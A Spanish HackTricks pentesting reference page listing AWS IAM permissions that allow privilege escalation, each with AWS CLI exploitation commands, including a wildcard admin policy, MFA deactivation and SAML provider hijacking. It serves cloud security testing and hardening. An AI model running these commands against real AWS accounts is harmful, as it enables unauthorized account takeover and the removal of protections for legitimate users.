AWS - IAM Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

IAM

Para obtener más información sobre IAM, consulta:

pageAWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede la capacidad de crear una nueva versión de política IAM, evitando la necesidad de permiso iam:SetDefaultPolicyVersion mediante el uso de la bandera --set-as-default. Esto permite definir permisos personalizados.

Comando de explotación:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact: Escala directamente los privilegios al permitir cualquier acción en cualquier recurso.

iam:SetDefaultPolicyVersion

Permite cambiar la versión predeterminada de una política IAM a otra versión existente, lo que potencialmente escala privilegios si la nueva versión tiene más permisos.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impacto: Escalada de privilegios indirecta al habilitar más permisos.

iam:CreateAccessKey

Permite crear un ID de clave de acceso y una clave de acceso secreta para otro usuario, lo que puede llevar a una escalada de privilegios potencial.

Explotación:

aws iam create-access-key --user-name <target_user>

Impacto: Escalada de privilegios directa al asumir los permisos extendidos de otro usuario.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permite crear o actualizar un perfil de inicio de sesión, incluida la configuración de contraseñas para el inicio de sesión en la consola de AWS, lo que lleva a una escalada de privilegios directa.

Explotar para la Creación:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Explotar para Actualizar:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impacto: Escalada de privilegios directa al iniciar sesión como "cualquier" usuario.

iam:UpdateAccessKey

Permite habilitar una clave de acceso deshabilitada, lo que potencialmente puede llevar a un acceso no autorizado si el atacante posee la clave deshabilitada.

Explotación:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impacto: Escalada de privilegios directa al reactivar claves de acceso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permite generar o restablecer credenciales para servicios específicos de AWS (por ejemplo, CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado.

Explotación para la Creación:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Explotar para Restablecer:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impacto: Escalada directa de privilegios dentro de los permisos del servicio del usuario.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permite adjuntar políticas a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la política adjunta.

Explotar para Usuario:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Explotar para el Grupo:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impacto: Escalada directa de privilegios a cualquier cosa que conceda la política.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permite adjuntar o colocar políticas en roles, usuarios o grupos, lo que habilita la escalada directa de privilegios al otorgar permisos adicionales.

Explotar para Rol:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Explotar políticas en línea:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puedes usar una política como:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impacto: Escalada de privilegios directa al agregar permisos a través de políticas.

iam:AddUserToGroup

Permite agregar uno mismo a un grupo IAM, escalando privilegios al heredar los permisos del grupo.

Explotación:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impacto: Escalada directa de privilegios al nivel de los permisos del grupo.

iam:UpdateAssumeRolePolicy

Permite modificar el documento de política de asunción de roles de un rol, lo que habilita la asunción del rol y sus permisos asociados.

Explotación:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Donde la política se ve así, lo que le da al usuario permiso para asumir el rol:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impacto: Escalada de privilegios directa al asumir los permisos de cualquier rol.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permite subir una clave pública SSH para autenticar en CodeCommit y desactivar dispositivos MFA, lo que puede llevar a una escalada de privilegios indirecta.

Explotar para Subir Clave SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Explotación para Desactivación de MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impacto: Escalada de privilegios indirecta al habilitar el acceso a CodeCommit o deshabilitar la protección MFA.

iam:ResyncMFADevice

Permite la resincronización de un dispositivo MFA, lo que potencialmente puede llevar a una escalada de privilegios indirecta al manipular la protección MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalada de privilegios indirecta al agregar o manipular dispositivos MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con estos permisos puedes cambiar los metadatos XML de la conexión SAML. Luego, podrías abusar de la federación SAML para iniciar sesión con cualquier rol que confíe en ella.

Ten en cuenta que al hacer esto, los usuarios legítimos no podrán iniciar sesión. Sin embargo, podrías obtener el XML, poner el tuyo, iniciar sesión y configurar el anterior nuevamente.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Una herramienta capaz de generar los metadatos SAML e iniciar sesión con un rol especificado

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(No seguro sobre esto) Si un atacante tiene estos permisos podría agregar una nueva huella digital para loguearse en todos los roles que confían en el proveedor.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Última actualización